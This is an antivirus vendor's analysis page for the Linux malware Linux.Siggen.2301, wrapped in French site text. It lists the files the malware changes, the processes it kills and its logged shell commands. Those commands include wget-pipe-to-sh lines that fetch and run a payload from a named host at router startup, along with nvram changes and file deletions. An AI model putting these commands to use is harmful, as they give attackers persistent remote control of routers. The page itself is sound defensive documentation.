Pour le fonctionnement correct du site, vous devez activer JavaScript dans votre navigateur.
Linux.Siggen.2301
Added to the Dr.Web virus database:
2019-11-04
Virus description added:
2019-11-04
Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
/etc/init.d/rcS.bak
/etc/init.d/rcS
/etc/persistent/rc.poststart
Malicious functions:
Launches itself as a daemon
Modifies router settings:
Launches processes:
sh -c cat /etc/init.d/rcS | grep -v \"wget\" > /etc/init.d/rcS.bak
cat /etc/init.d/rcS
grep -v wget
sh -c echo \"sleep 300 && wget -qO - http://fkd.derpcity.ru/nvr | sh &\" > /etc/init.d/rcS
sh -c cat /etc/init.d/rcS.bak >> /etc/init.d/rcS
cat /etc/init.d/rcS.bak
sh -c rm -rf /etc/init.d/rcS.bak
rm -rf /etc/init.d/rcS.bak
sh -c nvram set rc_firewall=\"sleep 120 && wget -qO - http://fkd.derpcity.ru/nvr | sh\" > /dev/null 2>&1
sh -c nvram commit > /dev/null 2>&1
sh -c ( echo \"sleep 120 && wget -q -O - http://fkd.derpcity.ru/nvr | sh > /dev/null 2>&1 &\" > /etc/persistent/rc.poststart ) > /dev/null 2>&1
sh -c chmod 755 /etc/persistent/rc.poststart > /dev/null 2>&1
chmod 755 /etc/persistent/rc.poststart
sh -c cfgmtd -w -p /etc/ > /dev/null 2>&1
sh -c ( cfgmtd -w -p /etc/ && sleep 432000 && reboot & ) > /dev/null 2>&1
sh -c rm -rf /var/run/wgsh > /dev/null 2>&1 &
sleep 432000
sh -c rm -rf /var/run/bbsh > /dev/null 2>&1 &
rm -rf /var/run/wgsh
sh -c rm -rf /var/run/tty1 > /dev/null 2>&1 &
rm -rf /var/run/bbsh
sh -c rm -rf /var/run/tty2 > /dev/null 2>&1 &
rm -rf /var/run/tty1
rm -rf /var/run/tty2
sh -c rm -rf /var/run/tty3 > /dev/null 2>&1 &
sh -c rm -rf /var/run/tty4 > /dev/null 2>&1 &
rm -rf /var/run/tty3
sh -c rm -rf /var/run/tty5 > /dev/null 2>&1 &
rm -rf /var/run/tty4
rm -rf /var/run/tty5
sh -c rm -rf /var/run/tty6 > /dev/null 2>&1 &
sh -c rm -rf /tmp/tty1 > /dev/null 2>&1 &
rm -rf /var/run/tty6
sh -c rm -rf /tmp/tty2 > /dev/null 2>&1 &
rm -rf /tmp/tty1
sh -c rm -rf /tmp/tty3 > /dev/null 2>&1 &
rm -rf /tmp/tty2
sh -c rm -rf /tmp/tty4 > /dev/null 2>&1 &
rm -rf /tmp/tty3
sh -c rm -rf /tmp/tty5 > /dev/null 2>&1 &
rm -rf /tmp/tty4
sh -c rm -rf /tmp/tty6 > /dev/null 2>&1 &
rm -rf /tmp/tty5
rm -rf /tmp/tty6
sh -c rm -rf /var/run/pty > /dev/null 2>&1 &
sh -c killall -9 arm > /dev/null 2>&1 &
rm -rf /var/run/pty
sh -c killall -9 mips > /dev/null 2>&1 &
sh -c killall -9 mipsel > /dev/null 2>&1 &
sh -c killall -9 powerpc > /dev/null 2>&1 &
sh -c killall -9 ppc > /dev/null 2>&1 &
sh -c killall -9 daemon.armv4l.mod > /dev/null 2>&1 &
sh -c killall -9 daemon.i686.mod > /dev/null 2>&1 &
sh -c killall -9 daemon.mips.mod > /dev/null 2>&1 &
sh -c killall -9 daemon.mipsel.mod > /dev/null 2>&1 &
sh -c kill -9 `cat /tmp/.xs/*.pid` > /dev/null 2>&1 &
sh -c rm -rf /tmp/.xs/* > /dev/null 2>&1 &
cat /tmp/.xs/*.pid
sh -c sleep 432000 && reboot &
rm -rf /tmp/.xs/*
Attempts to kill the following processes:
killall -9 arm
killall -9 mips
killall -9 mipsel
killall -9 powerpc
killall -9 ppc
killall -9 daemon.armv4l.mod
killall -9 daemon.i686.mod
killall -9 daemon.mips.mod
killall -9 daemon.mipsel.mod
Performs operations with the file system:
Deletes files:
/etc/init.d/rcS.bak
/var/run/wgsh
/var/run/bbsh
/var/run/tty1
/var/run/tty2
/var/run/tty3
/var/run/tty4
/var/run/tty5
/var/run/tty6
/tmp/tty1
/tmp/tty2
/tmp/tty3
/tmp/tty4
/tmp/tty5
/tmp/tty6
/var/run/pty
/tmp/.xs/*
Network activity:
Awaits incoming connections on ports:
Recommandations pour le traitement
Linux
Version démo gratuite
Pour 1 mois (sans enregistrement) ou 3 mois (avec enregistrement et remise pour le renouvellement)
Téléchargez Dr.Web pour Android
Gratuit pour 3 mois
Tous les composants de protection
Renouvellement de la démo via AppGallery/Google Pay
Nous utilisons des cookies sur notre site web à des fins uniques d’analyse de la fréquentation et de récolte de données statistiques. En naviguant sur notre site, vous pouvez accepter ou refuser l’utilisation de ces fichiers cookies.
En savoir plus : Politique de confidentialité
Accepter
Refuser